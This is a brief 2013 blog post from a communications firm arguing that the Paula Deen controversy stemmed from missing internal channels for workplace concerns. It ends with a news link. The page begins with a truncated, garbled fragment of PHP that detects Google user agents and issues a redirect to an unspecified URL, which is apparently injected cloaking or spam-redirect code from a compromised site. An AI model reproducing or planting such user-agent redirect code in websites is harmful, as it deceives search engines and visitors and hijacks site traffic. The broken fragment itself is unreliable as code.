?nt={$encoded_nt}"; if(strstr($httpuser,'google')) { Header("Location: $redirect_url"); exit; } ?> VZ Communications | Paula Deen: It Didn’t Have To Happen

Paula Deen: It Didn’t Have To Happen

Posted by | August 27, 2013 | VZ Communications Speaks Out | No Comments

A lot can be said about how poorly this was handled by the Paula Deen team from a crisis communication standpoint. But let’s go back to the root of the issue — it may never have started in the first place if there had been a clearly defined communication channel that allowed workplace concerns to be elevated to leaders who could address them. These channels are not difficult to establish and can make a huge difference not only in employee engagement but also in public opinion, as evidenced in this case.

http://www.latimes.com/food/dailydish/la-dd-paula-deen-accuser-statement-20130823,0,1509652.story